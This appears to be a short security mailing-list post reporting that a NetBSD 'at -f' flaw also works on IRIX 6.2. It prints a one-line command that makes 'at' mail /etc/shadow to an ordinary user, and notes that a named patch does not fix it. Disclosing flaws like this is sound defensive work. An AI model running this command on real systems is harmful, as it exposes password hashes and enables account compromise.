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more about 'at'
I've tried the trick from NetBSD Security Advisory 1998-004
on an IRIX 6.2 host, and it seems it works too.
$ at -f /etc/shadow now + 1 minute
-> shadow is mailed to user:
f 23947 91 patchSG0002866.eoe_sw.unix m usr/bin/at
there is an earlier patch for a buffer overrun on at, I guess
the fix is also included in patchSG0002866; but the '-f'
bug is still present.
(IRIX 5.3 has no problem since its 'at' lacks of '-f'
finger firstname.lastname@example.org for PGP / So be easy and free
.mailcap tip of the day: / when you're drinking with me
application/ms-tnef; cat '%s' > /dev/null / I'm a man you don't meet every day
text/x-vcard; cat '%s' > /dev/null / (the pogues)